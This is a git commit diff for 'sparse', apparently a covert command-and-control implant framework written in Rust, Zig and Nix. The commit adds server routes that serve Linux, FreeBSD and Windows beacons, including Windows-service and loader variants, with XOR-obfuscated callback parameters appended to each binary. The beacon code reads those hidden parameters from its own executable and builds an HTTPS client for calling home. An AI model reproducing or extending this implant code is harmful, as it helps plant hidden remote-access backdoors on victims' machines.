fix: everything builds

made it also possible to download individual beacons as opposed to just
the installer, to provide more options and make it easier to test
This commit is contained in:
Andrew Rioux 2025-02-13 15:03:14 -05:00
parent 75b53f7191
commit c0fe4f2bdb
Signed by: andrew.rioux
GPG Key ID: 9B8BAC47C17ABB94
25 changed files with 370 additions and 146 deletions

7
Cargo.lock generated
View File

@ -3377,7 +3377,6 @@ dependencies = [
"hyper",
"hyper-rustls",
"hyper-util",
"nl-sys",
"packets",
"pcap-sys",
"pin-project",
@ -3459,8 +3458,14 @@ dependencies = [
name = "sparse-unix-beacon"
version = "2.0.0"
dependencies = [
"async-trait",
"errno",
"libc",
"nl-sys",
"sparse-actions",
"sparse-beacon",
"thiserror 2.0.11",
"tokio",
]
[[package]]

View File

@ -183,6 +183,17 @@ let
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
});
sparse-beacon-windows-svc = craneLib.buildPackage (windowsArgs // {
cargoArtifacts = windowsCargoArtifacts;
name = "sparse-beacon-windows";
cargoExtraArgs = "-p sparse-windows-beacon --features=service";
src =
fileSetForBeaconCrate ./sparse-windows-beacon ./sparse-windows-infector;
CARGO_BUILD_TARGET = "x86_64-pc-windows-gnu";
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
});
linux-loader = pkgs.stdenv.mkDerivation {
name = "sparse-linux-loader";
@ -206,7 +217,7 @@ let
'';
};
freebsd-loader = pkgs.stdenv.mkDerivation {
freebsd-loader-sysv = pkgs.stdenv.mkDerivation {
name = "sparse-freebsd-loader";
buildInputs = with pkgs; [ zig ];
@ -231,6 +242,8 @@ let
'';
};
freebsd-loader = patch-freebsd-elf freebsd-loader-sysv "bin/unix-loader";
sparse-installer-linux = craneLib.buildPackage (linuxArgs // {
cargoArtifacts = linuxCargoArtifacts;
name = "sparse-installer-linux";
@ -254,7 +267,7 @@ let
CARGO_BUILD_TARGET = "x86_64-unknown-linux-musl";
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
SPARSE_LOADER = "${freebsd-loader}/lib/libunix-loader-freebsd.so";
SPARSE_LOADER = "${freebsd-loader-sysv}/lib/libunix-loader-freebsd.so";
});
sparse-installer-freebsd =
@ -270,12 +283,11 @@ let
CARGO_BUILD_TARGET = "x86_64-pc-windows-gnu";
CARGO_BUILD_RUSTFLAGS = "-Ctarget-feature=+crt-static";
SPARSE_BEACON_WINDOWS =
"${sparse-beacon-windows}/lib/sparse_windows_beacon.dll";
SPARSE_LIBRARY = "${sparse-beacon-windows}/lib/sparse_windows_beacon.dll";
});
sparse-server = craneLib.mkCargoDerivation (commonArgs // {
src = (builtins.trace "${fileSetForWebCrate}") fileSetForWebCrate;
src = fileSetForWebCrate;
cargoArtifacts = gnuLinuxCargoArtifacts;
@ -303,6 +315,15 @@ let
"${sparse-installer-freebsd}/bin/sparse-unix-installer";
SPARSE_INSTALLER_WINDOWS =
"${sparse-installer-windows}/bin/sparse-windows-installer.exe";
SPARSE_BEACON_LINUX = "${sparse-beacon-linux}/bin/sparse-unix-beacon";
SPARSE_BEACON_LINUX_LOADER = "${linux-loader}/bin/unix-loader";
SPARSE_BEACON_FREEBSD = "${sparse-beacon-freebsd}/bin/sparse-unix-beacon";
SPARSE_BEACON_FREEBSD_LOADER = "${freebsd-loader}/bin/unix-loader";
SPARSE_BEACON_WINDOWS =
"${sparse-beacon-windows}/bin/sparse-windows-beacon.exe";
SPARSE_BEACON_WINDOWS_SVC =
"${sparse-beacon-windows-svc}/bin/sparse-windows-beacon.exe";
});
sparse-server-docker = pkgs.dockerTools.buildImage {
@ -317,11 +338,9 @@ let
outputs = rec {
packages = {
inherit sparse-server sparse-server-docker sparse-beacon-linux
sparse-beacon-freebsd sparse-beacon-windows linux-loader freebsd-loader
sparse-installer-linux sparse-installer-freebsd
sparse-installer-windows;
inherit freebsd-zig-libc;
sparse-beacon-freebsd sparse-beacon-windows sparse-beacon-windows-svc
linux-loader freebsd-loader-sysv sparse-installer-linux
sparse-installer-freebsd sparse-installer-windows;
default = sparse-server;
};

View File

@ -20,10 +20,9 @@ tower-service = "0.3.3"
futures = "0.3.31"
simple_logger = "5.0.0"
http = "1.2.0"
bytes = "1.10.0"
http-body-util = "0.1.2"
pcap-sys = { version = "0.1.0", path = "../pcap-sys" }
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
packets = { version = "0.1.0", path = "../packets" }
nl-sys = { version = "0.1.0", path = "../nl-sys" }
bytes = "1.10.0"
http-body-util = "0.1.2"

View File

@ -23,7 +23,9 @@ pub struct BeaconInterface {
#[async_trait::async_trait]
pub trait BeaconAdapter {
type Error: error::AdapterError + Send + Sync;
fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8>;
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError>;
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError<Self::Error>>;
}

View File

@ -1,9 +1,6 @@
use std::{future::Future, pin::Pin, task::{self, Poll}};
use futures::stream::StreamExt;
use http::Uri;
use http_body_util::{Empty, BodyExt};
use hyper::Request;
use hyper_util::{client::legacy::Client, rt::{TokioExecutor, TokioIo}};
use rustls::RootCertStore;
use tower_service::Service;
@ -26,7 +23,7 @@ where
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static
{
type Response = TokioIo<tcp::NetInterfaceHandle>;
type Error = error::BeaconError;
type Error = error::BeaconError<T::Error>;
type Future = Pin<Box<
dyn Future<Output = Result<Self::Response, Self::Error>> + Send
>>;
@ -48,12 +45,14 @@ where
}
}
pub async fn perform_callback<T>(
pub async fn obtain_https_client<T, B>(
adapter: &T,
parameters: &Parameters,
) -> Result<(), error::BeaconError>
) -> Result<Client<hyper_rustls::HttpsConnector<ServerConnector<T>>, B>, error::BeaconError<T::Error>>
where
T: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
B: hyper::body::Body + Send,
<B as hyper::body::Body>::Data: Send
{
let server_cert = rustls::pki_types::CertificateDer::from(
parameters.pubkey_cert[..parameters.pubkey_cert_size as usize].to_owned()
@ -93,17 +92,5 @@ where
let client = Client::builder(TokioExecutor::new())
.build(https);
for _ in 1..5 {
let req = Request::builder()
.uri("https://sparse.com/hidden_sparse/test".parse::<hyper::Uri>()?)
.body(Empty::<bytes::Bytes>::new())?;
let resp = client.request(req).await?;
println!("{:?} {:?}", resp.version(), resp.status());
let body = resp.into_body();
let body = body.collect().await;
println!("{:?}", body);
}
Ok(())
Ok(client)
}

View File

@ -1,7 +1,12 @@
use thiserror::Error;
pub trait AdapterError: std::error::Error {}
#[derive(Error, Debug)]
pub enum BeaconError {
pub enum BeaconError<T>
where
T: AdapterError,
{
#[error("io error")]
Io(#[from] std::io::Error),
#[error("pcap error")]
@ -14,8 +19,6 @@ pub enum BeaconError {
NoDefaultRoute,
#[error("connection error")]
Connect(#[from] smoltcp::socket::tcp::ConnectError),
#[error("netlink error")]
Nl(#[from] nl_sys::error::Error),
#[error("http comms error")]
Http(#[from] http::Error),
#[error("uri parse error")]
@ -24,4 +27,6 @@ pub enum BeaconError {
HyperError(#[from] hyper_util::client::legacy::Error),
#[error("rustls")]
Rustls(#[from] rustls::Error),
#[error("adapter error")]
Adapter(#[from] T),
}

View File

@ -8,11 +8,10 @@ pub mod adapter;
pub mod error;
pub use error::BeaconError;
pub async fn run_beacon_step<A>(host_adapter: A, params: Parameters) -> Result<(), BeaconError>
pub async fn run_beacon_step<A>(host_adapter: A, params: Parameters) -> Result<(), BeaconError<A::Error>>
where
A: adapter::BeaconAdapter + Clone + Send + Sync + 'static,
{
callback::perform_callback(&host_adapter, &params).await?;
Ok(())
}

View File

@ -18,7 +18,7 @@ impl RawSocket {
a_interface: &adapter::BeaconInterface,
promisc: bool,
port: u16,
) -> Result<Self, error::BeaconError> {
) -> Result<Self, error::BeaconError<T::Error>> {
let name_raw = T::interface_name_from_interface(&a_interface);
let name = std::str::from_utf8(&name_raw)?;
let mut lower = Interface::new(name)?;

View File

@ -150,7 +150,7 @@ impl connect::Connection for NetInterfaceHandle {
pub async fn setup_network<T>(
adapter: T,
parameters: Parameters,
) -> Result<NetInterfaceHandle, error::BeaconError>
) -> Result<NetInterfaceHandle, error::BeaconError<T::Error>>
where
T: adapter::BeaconAdapter + Clone + Send + 'static,
{

View File

@ -1,16 +1,21 @@
{
"db_name": "SQLite",
"query": "SELECT certificate, privkey FROM beacon_listener WHERE listener_id = ?",
"query": "SELECT domain_name, certificate, privkey FROM beacon_listener WHERE listener_id = ?",
"describe": {
"columns": [
{
"name": "certificate",
"name": "domain_name",
"ordinal": 0,
"type_info": "Text"
},
{
"name": "certificate",
"ordinal": 1,
"type_info": "Blob"
},
{
"name": "privkey",
"ordinal": 1,
"ordinal": 2,
"type_info": "Blob"
}
],
@ -18,9 +23,10 @@
"Right": 1
},
"nullable": [
false,
false,
false
]
},
"hash": "f3e4ad6219ca2d79c807312d67084ceaea2da43d9ce3741a4b47b3ae1ebca342"
"hash": "2d69fc5f5de4a3815f6da30be8d21fb922295560a2aecb0532eeab17a52896e5"
}

View File

@ -0,0 +1,12 @@
{
"db_name": "SQLite",
"query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip,\n source_mac, source_mode, default_category, client_key, client_cert,\n source_interface)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?, ?)",
"describe": {
"columns": [],
"parameters": {
"Right": 10
},
"nullable": []
},
"hash": "66c0f884f6640f8c3570e52beca741d1818509ded4d4e33e5eba333fcab30b98"
}

View File

@ -1,6 +1,6 @@
{
"db_name": "SQLite",
"query": "SELECT operating_system, source_ip, source_mac, source_mode, source_netmask,\n source_gateway, port, public_ip, domain_name, certificate, client_cert, client_key\n FROM beacon_template JOIN beacon_listener",
"query": "SELECT operating_system, source_ip, source_mac, source_mode, source_netmask,\n source_gateway, port, public_ip, domain_name, certificate, client_cert, client_key,\n source_interface\n FROM beacon_template JOIN beacon_listener",
"describe": {
"columns": [
{
@ -62,6 +62,11 @@
"name": "client_key",
"ordinal": 11,
"type_info": "Blob"
},
{
"name": "source_interface",
"ordinal": 12,
"type_info": "Blob"
}
],
"parameters": {
@ -79,8 +84,9 @@
false,
false,
false,
false
false,
true
]
},
"hash": "0e151259a31b9fd02a31a207da7c4b8b817d57d9da5765a64ca2a320dc38a625"
"hash": "75816d6d1484350d4a1c37b6679237007868f10438ee9cbd7ae67eeaa345be0f"
}

View File

@ -1,12 +0,0 @@
{
"db_name": "SQLite",
"query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip, source_mac, source_mode, source_netmask, source_gateway, default_category, client_key, client_cert)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?, ?, ?)",
"describe": {
"columns": [],
"parameters": {
"Right": 11
},
"nullable": []
},
"hash": "a65057fab44005996c4e5c8b0f2a69b7d786622c116452e8a131145b0832b43b"
}

View File

@ -1,12 +0,0 @@
{
"db_name": "SQLite",
"query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip, source_mac, source_mode, default_category, client_key, client_cert)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?)",
"describe": {
"columns": [],
"parameters": {
"Right": 9
},
"nullable": []
},
"hash": "ab8bbbbe0e7b3eb64dc274fb3e7e1724d2e93541bc9156cde2fdf0876712c7f5"
}

View File

@ -0,0 +1,12 @@
{
"db_name": "SQLite",
"query": "INSERT INTO beacon_template\n (template_name, operating_system, config_id, listener_id, source_ip,\n source_mac, source_mode, source_netmask, source_gateway, default_category,\n client_key, client_cert, source_interface)\n VALUES\n (?, ?, ?, ?, ?, ?, 'host', ?, ?, ?, ?, ?, ?)",
"describe": {
"columns": [],
"parameters": {
"Right": 12
},
"nullable": []
},
"hash": "bb55c34fc7e98138c4850452430fd8a6a1e65f84591ab069893cec65e8daaf83"
}

View File

@ -437,10 +437,37 @@ pub fn DisplayTemplates(
<a
class="button"
download=""
href=format!("/installer/{}", template.template_id)
href=format!("/binaries/installer/{}", template.template_id)
>
"Download installer"
</a>
<a
class="button"
download=""
href=format!("/binaries/beacon/{}", template.template_id)
>
"Download beacon"
</a>
{(template.operating_system == "windows")
.then(|| view! {
<a
class="button"
download=""
href=format!("/binaries/beacon/{}?use_svc=true", template.template_id)
>
"Download beacon (Windows Service)"
</a>
})}
{(template.operating_system != "windows")
.then(|| view! {
<a
class="button"
download=""
href=format!("/binaries/beacon/{}?use_loader=true", template.template_id)
>
"Download beacon (Unix loader)"
</a>
})}
<button
on:click={
let template_id = template.template_id;
@ -456,7 +483,12 @@ pub fn DisplayTemplates(
<div>
<ul>
<li>"Source IP: "{template.source_ip.clone()}</li>
<li>"Source MAC: "{template.source_mac.clone().unwrap_or("00:00:00:00:00:00".to_owned())}</li>
{template
.source_mac
.clone()
.map(|m| view! {
<li>"Source MAC: "{m}</li>
})}
<li>
"Source mode: "
{match template.source_mode.clone() {

View File

@ -1,13 +1,14 @@
use std::{net::SocketAddrV4, process::ExitCode};
use axum::{
extract::{FromRef, Path, State},
extract::{FromRef, Path, Query, State},
response::IntoResponse,
routing::get,
Router,
};
use leptos::prelude::*;
use leptos_axum::{generate_route_list, LeptosRoutes};
use serde::Deserialize;
use sqlx::sqlite::SqlitePool;
use tokio::signal;
@ -20,6 +21,17 @@ pub(crate) mod beacon_binaries {
include_bytes!(std::env!("SPARSE_INSTALLER_FREEBSD"));
pub const WINDOWS_INSTALLER: &'static [u8] =
include_bytes!(std::env!("SPARSE_INSTALLER_WINDOWS"));
pub const LINUX_BEACON: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_LINUX"));
pub const LINUX_BEACON_LOADER: &'static [u8] = include_bytes!(std::env!("SPARSE_BEACON_LINUX_LOADER"));
pub const FREEBSD_BEACON: &'static [u8] =
include_bytes!(std::env!("SPARSE_BEACON_FREEBSD"));
pub const FREEBSD_BEACON_LOADER: &'static [u8] =
include_bytes!(std::env!("SPARSE_BEACON_FREEBSD_LOADER"));
pub const WINDOWS_BEACON: &'static [u8] =
include_bytes!(std::env!("SPARSE_BEACON_WINDOWS"));
pub const WINDOWS_BEACON_SVC: &'static [u8] =
include_bytes!(std::env!("SPARSE_BEACON_WINDOWS_SVC"));
}
#[cfg(debug_assertions)]
@ -27,7 +39,7 @@ pub async fn get_installer(btype: &str) -> Result<Vec<u8>, crate::error::Error>
let path = match btype {
"linux" => "target/x86_64-unknown-linux-musl/debug/sparse-unix-installer",
"freebsd" => "target/x86_64-unknown-freebsd/debug/sparse-unix-installer",
"windows" => "target/x86_64-pc-windows-gnu/debug/sparse-unix-installer",
"windows" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-installer",
other => {
return Err(crate::error::Error::Generic(format!(
"unknown beacon type: {other}"
@ -49,17 +61,50 @@ pub async fn get_installer(btype: &str) -> Result<Vec<u8>, crate::error::Error>
}
}
#[cfg(debug_assertions)]
pub async fn get_beacon(btype: &str) -> Result<Vec<u8>, crate::error::Error> {
let path = match btype {
"linux" => "target/x86_64-unknown-linux-musl/debug/sparse-unix-beacon",
"linux-loader" => "unix-loader/zig-out/bin/unix-loader",
"freebsd" => "target/x86_64-unknown-freebsd/debug/sparse-unix-beacon",
"freebsd-loader" => "unix-loader/zig-out/bin/unix-loader",
"windows" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-beacon.exe",
"windows-svc" => "target/x86_64-pc-windows-gnu/debug/sparse-windows-beacon.exe",
other => {
return Err(crate::error::Error::Generic(format!(
"unknown beacon type: {other}"
)))
}
};
Ok(tokio::fs::read(path).await?)
}
#[cfg(not(debug_assertions))]
pub async fn get_beacon(btype: &str) -> Result<Vec<u8>, crate::error::Error> {
match btype {
"linux" => Ok(beacon_binaries::LINUX_BEACON.to_owned()),
"linux-loader" => Ok(beacon_binaries::LINUX_BEACON_LOADER.to_owned()),
"windows" => Ok(beacon_binaries::WINDOWS_BEACON.to_owned()),
"windows" => Ok(beacon_binaries::WINDOWS_BEACON.to_owned()),
"windows-svc" => Ok(beacon_binaries::WINDOWS_BEACON_SVC.to_owned()),
"freebsd" => Ok(beacon_binaries::FREEBSD_BEACON.to_owned()),
"freebsd-loader" => Ok(beacon_binaries::FREEBSD_BEACON_LOADER.to_owned()),
other => Err(crate::error::Error::Generic(format!(
"unknown beacon type: {other}"
))),
}
}
#[derive(FromRef, Clone, Debug)]
pub struct AppState {
db: SqlitePool,
leptos_options: leptos::config::LeptosOptions,
}
#[axum::debug_handler]
pub async fn download_beacon_installer(
Path(template_id): Path<i64>,
State(db): State<AppState>,
) -> Result<impl IntoResponse, crate::error::Error> {
async fn get_parameters_bytes(
template_id: i64,
db: SqlitePool
) -> Result<(Vec<u8>, String), crate::error::Error> {
use rand::{rngs::OsRng, TryRngCore};
use sparse_actions::payload_types::{Parameters_t, XOR_KEY};
@ -75,7 +120,7 @@ pub async fn download_beacon_installer(
source_interface
FROM beacon_template JOIN beacon_listener"
)
.fetch_one(&db.db)
.fetch_one(&db)
.await?;
let dest_ip = template.public_ip.parse::<std::net::Ipv4Addr>()?;
@ -172,13 +217,67 @@ pub async fn download_beacon_installer(
parameters.domain_name[..domain_name.len()].copy_from_slice(&domain_name[..]);
parameters.domain_name_length = domain_name.len() as u16;
let installer_bytes = get_installer(&template.operating_system).await?;
let parameters_bytes = parameters_buffer
.iter()
.map(|b| b ^ (XOR_KEY as u8))
.collect::<Vec<_>>();
Ok((parameters_bytes, template.operating_system.clone()))
}
#[derive(Debug, Deserialize)]
pub struct BeaconDownloadParams {
use_svc: Option<bool>,
use_loader: Option<bool>,
}
pub async fn download_beacon(
Path(template_id): Path<i64>,
State(db): State<AppState>,
Query(beacon_params): Query<BeaconDownloadParams>
) -> Result<impl IntoResponse, crate::error::Error> {
println!("Params: {beacon_params:?}");
let (parameters_bytes, operating_system) = get_parameters_bytes(template_id, db.db).await?;
let binary = if beacon_params.use_svc.unwrap_or_default() {
"windows-svc".to_string()
} else if beacon_params.use_loader.unwrap_or_default() {
format!("{operating_system}-loader")
} else {
operating_system.clone()
};
let installer_bytes = get_beacon(&binary).await?;
use axum::http::header;
Ok((
[
(header::CONTENT_TYPE, "application/octet-stream".to_string()),
(
header::CONTENT_DISPOSITION,
format!(
r#"attachement; filename="sparse-beacon{}""#,
if operating_system.starts_with("windows") {
".exe"
} else {
""
}
),
),
],
[&installer_bytes[..], &parameters_bytes[..]].concat(),
))
}
pub async fn download_beacon_installer(
Path(template_id): Path<i64>,
State(db): State<AppState>,
) -> Result<impl IntoResponse, crate::error::Error> {
let (parameters_bytes, operating_system) = get_parameters_bytes(template_id, db.db).await?;
let installer_bytes = get_installer(&operating_system).await?;
use axum::http::header;
Ok((
@ -188,7 +287,7 @@ pub async fn download_beacon_installer(
header::CONTENT_DISPOSITION,
format!(
r#"attachement; filename="sparse-installer{}""#,
if template.operating_system == "windows" {
if operating_system.starts_with("windows") {
".exe"
} else {
""
@ -223,7 +322,8 @@ pub async fn serve_web(
};
let app = Router::new()
.route("/installer/:template_id", get(download_beacon_installer))
.route("/binaries/installer/:template_id", get(download_beacon_installer))
.route("/binaries/beacon/:template_id", get(download_beacon))
.leptos_routes_with_context(
&state,
routes,

View File

@ -6,3 +6,12 @@ version.workspace = true
[dependencies]
libc = "0.2"
errno = "0.3"
async-trait = "0.1.86"
tokio = { version = "1.43.0", features = ["fs", "macros", "rt"] }
thiserror = "2.0.11"
sparse-beacon = { version = "0.7.0", path = "../sparse-beacon" }
sparse-actions = { version = "2.0.0", path = "../sparse-actions" }
[target.'cfg(target_os = "linux")'.dependencies]
nl-sys = { version = "0.1.0", path = "../nl-sys" }

View File

@ -0,0 +1,30 @@
use std::net::Ipv4Addr;
use sparse_beacon::{
adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute},
error,
};
#[derive(thiserror::Error, Debug)]
pub enum FreeBsdAdapterError {}
impl sparse_beacon::error::AdapterError for FreeBsdAdapterError {}
#[derive(Clone)]
pub struct FreeBsdAdapter;
#[async_trait::async_trait]
impl BeaconAdapter for FreeBsdAdapter {
type Error = FreeBsdAdapterError;
fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8> {
interface.name.clone()
}
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError<Self::Error>> {
Ok(BeaconNetworkingInfo {
routes: vec![],
interfaces: vec![],
})
}
}

View File

@ -1,29 +1,36 @@
use std::{io::SeekFrom, net::Ipv4Addr};
use tokio::io::{AsyncReadExt, AsyncSeekExt};
use std::net::Ipv4Addr;
use nl_sys::netlink;
use sparse_actions::payload_types::{Parameters, XOR_KEY};
use sparse_beacon::{
adapter::{BeaconAdapter, BeaconInterface, BeaconNetworkingInfo, BeaconRoute},
error,
};
#[derive(thiserror::Error, Debug)]
pub enum LinuxAdapterError {
#[error("netlink error")]
Nl(#[from] nl_sys::error::Error),
}
impl sparse_beacon::error::AdapterError for LinuxAdapterError {}
#[derive(Clone)]
struct LinuxAdapter;
pub struct LinuxAdapter;
#[async_trait::async_trait]
impl BeaconAdapter for LinuxAdapter {
type Error = LinuxAdapterError;
fn interface_name_from_interface(interface: &BeaconInterface) -> Vec<u8> {
interface.name.clone()
}
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError> {
let nlsock = netlink::Socket::new()?;
fn networking_info(&self) -> Result<BeaconNetworkingInfo, error::BeaconError<Self::Error>> {
let nlsock = netlink::Socket::new().map_err(LinuxAdapterError::Nl)?;
let routes = nlsock.get_routes()?;
let links = nlsock.get_links()?;
let routes = nlsock.get_routes().map_err(LinuxAdapterError::Nl)?;
let links = nlsock.get_links().map_err(LinuxAdapterError::Nl)?;
let links_vec = links.iter().collect::<Vec<_>>();
Ok(BeaconNetworkingInfo {
@ -82,32 +89,3 @@ impl BeaconAdapter for LinuxAdapter {
})
}
}
#[tokio::main]
async fn main() -> Result<(), sparse_beacon::BeaconError> {
let installer = std::env::args()
.skip(1)
.next()
.expect("Could not get a reference to a sparse installer");
let mut installer_file = tokio::fs::OpenOptions::new()
.read(true)
.open(installer)
.await?;
let parameters_size = std::mem::size_of::<Parameters>() as i64;
installer_file.seek(SeekFrom::End(-parameters_size)).await?;
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
installer_file.read_to_end(&mut parameters_buffer).await?;
for b in parameters_buffer.iter_mut() {
*b = *b ^ (XOR_KEY as u8);
}
let parameters: Parameters =
unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) };
sparse_beacon::run_beacon_step(LinuxAdapter, parameters).await?;
Ok(())
}

View File

@ -1,14 +1,41 @@
fn main() {
println!("Hello, world!");
use std::io::SeekFrom;
use tokio::io::{AsyncSeekExt, AsyncReadExt};
use sparse_actions::payload_types::{Parameters, XOR_KEY};
use sparse_beacon::adapter::BeaconAdapter;
#[cfg(target_os = "linux")]
mod linux;
#[cfg(target_os = "linux")]
use linux::LinuxAdapter as Adapter;
#[cfg(target_os = "freebsd")]
unsafe {
let sem = libc::sem_open(c"/libcrypto".as_ptr(), 0);
libc::sem_post(sem);
mod freebsd;
#[cfg(target_os = "freebsd")]
use freebsd::FreeBsdAdapter as Adapter;
#[tokio::main]
async fn main() -> Result<(), sparse_beacon::BeaconError<<Adapter as BeaconAdapter>::Error>> {
let mut binary_file = tokio::fs::OpenOptions::new()
.read(true)
.open(std::env::current_exe()?)
.await?;
let parameters_size = std::mem::size_of::<Parameters>() as i64;
binary_file.seek(SeekFrom::End(-parameters_size)).await?;
let mut parameters_buffer = Vec::with_capacity(parameters_size as usize);
binary_file.read_to_end(&mut parameters_buffer).await?;
for b in parameters_buffer.iter_mut() {
*b = *b ^ (XOR_KEY as u8);
}
println!("Hello, world!");
unsafe { println!("\n{}\n", libc::getpid()) };
let parameters: Parameters =
unsafe { std::mem::transmute(*(parameters_buffer.as_ptr() as *const Parameters)) };
loop {}
sparse_beacon::run_beacon_step(Adapter, parameters).await?;
Ok(())
}

View File

@ -11,3 +11,6 @@ anyhow = "1.0.95"
pcap-sys = { version = "0.1.0", path = "../pcap-sys" }
windows = { version = "0.59.0", features = ["Win32_NetworkManagement_IpHelper", "Win32_NetworkManagement_Ndis", "Win32_Networking_WinSock", "Win32_System_SystemServices", "Win32_UI_WindowsAndMessaging"] }
winreg = "0.55"
[features]
service = []

View File

@ -55,9 +55,11 @@ pub fn build(b: *std.Build) !void {
});
const exe = b.addExecutable(.{
.name = "test-loader",
.root_source_file = b.path("src/test_run.zig"),
.name = "unix-loader",
.root_source_file = b.path("src/run.zig"),
.target = target,
.optimize = optimize,
.strip = true,
});
lib.addIncludePath(b.path("src"));

26
unix-loader/src/run.zig Normal file
View File

@ -0,0 +1,26 @@
extern fn hash_internals(parameters: *Parameters) void;
const std = @import("std");
const Parameters = @cImport({
@cInclude("abi.h");
}).Parameters;
var file_parameters: Parameters = undefined;
fn fill_parameters() !void {
const this_file = try std.fs.openSelfExe(std.fs.File.OpenFlags{});
try this_file.seekFromEnd(@sizeOf(Parameters));
var param_buffer: [@sizeOf(Parameters)]u8 = undefined;
_ = try this_file.reader().read(&param_buffer);
@memcpy(@as([*]u8, @ptrCast(&file_parameters)), &param_buffer);
}
pub fn main() void {
fill_parameters() catch {
return;
};
hash_internals(&file_parameters);
}

View File

@ -1,11 +0,0 @@
extern fn hash_internals(parameters: *Parameters) void;
const Parameters = @cImport({
@cInclude("abi.h");
}).Parameters;
var file_parameters: Parameters = .{};
pub fn main() void {
hash_internals(&file_parameters);
}